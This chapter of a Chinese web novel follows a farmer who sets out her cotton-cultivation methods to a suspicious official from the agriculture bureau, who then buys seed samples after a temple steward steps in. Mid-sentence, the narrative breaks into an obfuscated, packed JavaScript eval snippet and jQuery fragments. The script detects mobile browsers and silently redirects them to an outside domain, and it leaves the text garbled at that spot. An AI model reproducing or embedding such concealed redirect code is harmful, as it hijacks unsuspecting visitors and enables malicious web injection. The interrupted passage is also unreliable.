不一刻，谢晚舟拿来种植笔记。


    陈谷雨打开，手指轻点簿册上一行墨字。


    其上的日期、事项、数量等都记录得明明白白。


    “选种乃第一要务。”


    她仔细解释：“民妇去岁冬闲时，便将购得的棉种以清水浸之，撇浮去瘪，唯留沉底饱满者备用。此法乡间称为‘水选’。”


    赵元朗面沉如水，其身后随行吏目却已悄然执笔，于小册上飞快录记。


    “次为温水浸种催芽。”陈谷雨继续，指尖掠过另一行记录，“立春后，择晴日，取温而不烫手之水浸种约一刻。捞出后以湿布包裹，置灶台余温处，待多数种粒微露白点，才可播于苗床。”


    此法乃谢晚舟悉心相授，经她亲手实践调整，已成定例。


    “再就是育苗与移栽。”她引众人目光望向契地旁早已备好的一畦土地。


    “需择向阳背风处，细整苗床，土需碾细，拌入腐熟肥。待种子露白，以二寸间距点播，覆薄土。待苗长至二寸余，具三、四片真叶，择壮苗移栽大田。移栽之时，必待天暖霜绝，约在立夏前后。”


    “其后便是田间日常照管。”


    陈谷雨语速平稳，条理清晰。


    “棉苗性喜光畏涝。契地虽得青白之气滋养，排水沟渠亦不敢轻疏。行距二尺，株距一尺，保通风透光。苗期勤锄草，以保墒情。待现蕾开花，需重施花铃肥，民妇所用，乃腐熟豆饼混以草木灰并少许骨粉。而最紧要一环——”她略加重语气：“乃适时‘打顶’。”


    “待棉株长至约三尺，主茎生出十至十二台果枝时，便需摘去其顶尖，抑其徒长，使全力孕育棉桃。此法亦系琼州崖城赵三娘子所授，乃籽棉饱满之关窍。”


    她娓娓道来之际，谢晚舟已于一旁铺纸研墨，伏案疾书。


    笔走龙蛇，字迹清隽工稳，偶于陈谷雨叙述间隙添注数语，如‘打顶宜择晴日午后，创口易愈’，‘见蚜虫初发，可喷施烟叶水’等。


    言简意赅，直切要害，与陈谷雨所言相辅相成。


    “至于收获。大人日前所见第一茬，乃芒种后所种。眼前这第二茬——”她指向那更为壮观的棉山。


    “得益於及时追肥、勤抹赘芽，兼立秋前后光足地润，故反胜前番。采摘需分期，见桃絮充分吐露即采，谨防雨湿。”


    陈述既毕，陈谷雨将手中簿册奉至赵元朗面前。


    “大人，此册详录自购种至今，每种每管之时日、方法、用量，并当日天候、苗情观测。民妇与夫郎皆在此，大人若有垂询，必知无不言。”


    其言语恳切，态度配合，竟将这种植关窍，尤是选种、温水催芽、打顶、抹赘芽、分期采撷等法，毫无保留，和盘托出。恍若她本心所愿，便是将此丰产之法广传天下，惠泽万民。


    赵元朗接过那记录缜密的簿册，快速检视。


    其上字迹清晰，时序、方法、观测乃至简图皆备。


    她冷峻面容之上，首现细微松动——那是糅杂了意外、审视与一丝难以言喻的困惑的神情。


    她抬眸，目光审视，看向陈谷雨。


    “温水浸种？这水温如何把握？打顶之术？十至十二台果枝？此等精细之法，你从何习得？”


    其辞锋锐，直指技术源头之疑。


    崖城赵三娘子之名，显不足解释此似超乎当世认知的系统农艺。


    陈谷雨敛衽而立，身姿若竹，容色沉静，不见半分惶乱。


    坦然应道：“回大人，水温之度，全凭手感，温而不灼即可。”


    “温水浸种之法，乃民妇幼时偶闻一过路老农提及，言其乡间用以催发难芽之种。民妇大胆试於棉种，果见奇效。至於打顶抹芽之术，确系赵三娘子所授关键，其言崖城老农皆循此例。而果枝台数——”


    她微顿，目光扫过自家丰饶棉田。


    “亦由赵娘子提及大概，民妇再结合本乡气候、契地沃力，数次躬耕体察，方得此验。故此每每都做了详细笔记，以便从中找出最适合的方法。契地棉株长势旺於常地，故才有稍多方才打顶。此间种种，皆为亲身实践、逐次记录所得，大人皆可详查。”


    “不过，”她重重加了一句，“寻常北地，即使按照此法亦恐难成活，契地才有可能。”


    她的解释言辞凿凿，有来源，有实践，有记录佐证。


    态度更是坦荡，配合之彻底，竟令赵元朗一时寻不出诘难之隙。


    陈谷雨和上书册，手轻抬，将其再度奉上，姿态恭谨却不失气度。


    赵元朗默然片刻，目光在记录册与陈谷雨坦荡的面容间巡睃。


    终，她合上册子，辞色虽仍冷硬，却缓了三分。


    “你所言种种，本官自会核验。棉种样本，仍需取回呈验。”


    “谨遵大人命。”


    陈谷雨毫无迟疑，立时吩咐身旁村民：“去库房，取今年预留的上好崖城棉种一斗来，供大人取样。”


    吩咐既毕，她转而面向赵元朗，语气拿捏得宜，含着一丝坦率的关切。


    “大人，民妇斗胆多言一句。前番风闻京畿及省城上佳契地试种此崖城棉种，却未得成，民妇心下亦感诧异。若大人核验民妇之法无讹，许是……水土差异实大？抑或，彼处所获种籽，千里迢迢，保管或有疏失，致其生机受损？民妇之种，购回后一直以燥陶瓮密封，存於阴凉处。”


    她再次主动触及“异地试种失败”之敏感处。


    并将因由引向种籽转运保管或水土，而非己身技术之“独秘”。


    赵元朗眸光倏深，似有千钧重量压於陈谷雨面上一瞬。


    终未置一词，只向身后吏目略一颔首。


    很快，一斗颗粒饱满、色泽棕褐的棉种取至。


    赵元朗亲自验看，撮起一把於指间摩挲，甚至取几粒入口轻啮，察其硬度与胚乳。


    最终，方示意吏目取样封装记录。


    正当吏目欲将取样棉种封装带走之际，一旁静观的神殿值事缓步上前。


    她声音平和却自带一股不容置疑的份量：“赵大人且慢。”


    赵元朗动作一顿，侧目望去。


    值事目光扫过那斗棉种，语气淡然却坚定：“司农寺查验农事，厘清本源，自是职责所在，神殿亦乐见其成。然契地所出，一籽一絮，皆承地母恩泽，蕴养不易。朝廷律例亦明，官需民用，当循市价。此间棉种，乃今岁精选预留之良种，价值非比寻常。大人既欲取之，还请依律照价支付，勿使地母眷顾之地，徒受折损。”


    赵元朗眉头微蹙，眼中闪过一丝不易察觉的愠色，似不悦于这突如其来的干涉。


    然她目光触及值事袍角那山峦禾苗交织的纹样，又扫过周围悄然屏息的村民与神色凝重的县令，终是将那丝不悦压下。


    她深知地母神殿超然地位，其值事当面发声，绝非她可轻易驳回。


    片刻沉默后，她冷声道：“值事所言甚是。是本官疏忽。便依此地市价，照付便是。”


    随即示意吏目称量核算，按市价支付了足额银钱。


    银货两讫，陈谷雨双手接过那袋沉甸甸的银两，未有任何迟疑，转身便向神殿值事躬身奉上。


    “值事大人明鉴。此银钱本非民妇份内之财，皆因大人主持公道方才得来。民妇恳请将此银献于神殿，充作供奉之地母香火之资。民妇既蒙地母恩赐，忝为青白契主，愿恪尽本分，却不知具体章程几何？需供奉何物？何时献祭？还请值事大人明示，民妇必定谨遵无误，不敢有丝毫怠慢。”


    值事闻言，眼中掠过一丝真正的讶异与赞赏。


    她并未立刻去接那银两，而是仔细打量着陈谷雨，见她目光澄澈，态度恳切真诚，绝非虚伪作态


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16378380|182614||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    良久，值事方缓缓开口，声音较之前多了几分温度：“陈娘子有心了。然青白晶契主，与众不同。地母赐下福缘，更重契主本心虔敬与勤勉耕耘，而非世俗供奉多寡。你于此地所为，周济乡里，惠及孤寡，丰产不忘本，危局守正道，此等言行，便是对地母最好的奉献。目前而言，你无需忧虑特定供奉之规，一如往常，勤勉尽力便是。”


    “供奉之事，待你成为青晶契主时再议，神殿自会关注。”


    事毕，赵元朗目光似不经意扫过一直静坐案旁、刚搁下笔的谢晚舟。


    在其清俊侧颜与那执笔的、骨节分明的手上停留一瞬。


    尤当瞥见纸上那工整间蕴藏着独特筋骨风神的字迹时，其瞳孔几不可察地微一收缩。


    她并未多言，收回目光，对陈谷雨道：“今日便至此。你所呈种植法及记录，本官带回司农寺。棉种样本，一并上呈。望你所言，句句属实。”


    “民妇不敢虚言。”陈谷雨躬身应道。


    赵元朗不再多言，利落翻身上马。二随从紧随。


    三骑如来时般迅疾，携了棉种样本与吏目现场誊录的法门抄本，卷起尘土，绝尘而去。


    李家坳阒然无声，徒留无数惊疑难定的心。


    直至蹄声远逝，凉棚下凝滞的空气方重新流动。


    乡民面面相觑，犹带惊惶。


    县令长舒一口气，觉内衫已被冷汗浸透。


    她走近陈谷雨，欲言又止，终压低嗓音：“谷雨，你方才……”既惊其坦荡，又觉此或是上策。


    柳青亦近前，目中满是探究与深忧：“谷雨娘子，坦荡虽为君子之风，然恐怀璧其罪，惹来觊觎，永无宁日。你所献之法，尤是那温水浸种、精细打顶之术，恐怕……”


    陈谷雨望向赵元朗消失之处，脸上平静渐褪，换作一丝深沉凝重。


    她轻声打断柳青，音低却清醒：“柳先生，县令大人，今日之势，藏掖不住。不如主动摊开。我尽数托出，她们反难寻错处。至於那‘璧’……”


    她微顿，目光落向正默默整理记录的谢晚舟。


    他指尖微凉，几不可察地轻颤。


    “真正的关窍，或许不在‘法’，而在‘地’，更在……‘人’。”其声轻若叹息。


    赵大人最后投向晚舟的那一瞥……绝非无意。


    谢晚舟整理纸张的动作蓦然一顿。


    抬首，面色倏尔褪尽血色，眼中惶遽难掩。


    尤其在听到那“人”字时，喉间一哽，几难成言。


    “妻主……她……”


    陈谷雨行至他身侧，轻轻握住他冰凉微颤的手，用力一握，传递无声支撑。


    她转向柳青与县令，语意坚定：“兵来将挡。她们取了种，拿了法，若别处仍种不出，便是天意或她们自家的事了。眼下当务之急，是将这些——”她指堆积如山的物资，“送到急需之人手中。立秋了，天说凉就凉。”


    其言驱散部分阴霾。县令与柳青见她目光沉稳，与谢郎携手并肩，心中虽忧，却莫名安定几分。


    凉棚下，分派之事於短暂惊悸后重启，然气氛已迥异先前。


    人人心中皆似压上了一片自京城而来的沉郁阴云。


    陈谷雨表面平静指挥若定，内心却波澜暗涌。


    她交出了所有“明面”技艺，暂堵赵元朗之口。


    然司农寺骤临与赵元朗终那意味深长的一瞥，如两根冰刺，扎於心底。


    棉种之秘暂以“坦荡”掩过。


    然谢晚舟之秘……


    似正被一双来自京城、锐利如鹰隼的眼睛，自层层“寻常”农事背后，悄然剥离。


    一阵秋风穿堂而过，卷起地上几片早凋落叶，打着旋儿。


    立秋的凉意，此刻方砭人肌骨，透体生寒。


    ------